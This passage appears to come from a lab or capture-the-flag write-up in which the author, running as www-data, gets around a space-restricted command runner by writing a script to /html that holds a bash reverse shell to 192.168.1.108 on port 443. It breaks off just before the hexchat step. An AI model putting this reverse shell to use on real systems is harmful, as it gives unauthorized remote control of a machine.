I'd faced issue while executing any command using .run
command as it doesn't supporting white spaces and raising exception(for example ls index.html
).
I figured up it by creating a .sh file with limited privledge session(www-data) in /html directory.
echo "#! bin/bash" > abc.sh
echo $'\n' >> abc.sh
echo "bash -i >& /dev/tcp/192.168.1.108/443 0>&1" >>abc.sh
chmod +x abc.sh
Now in hexchat exexcute: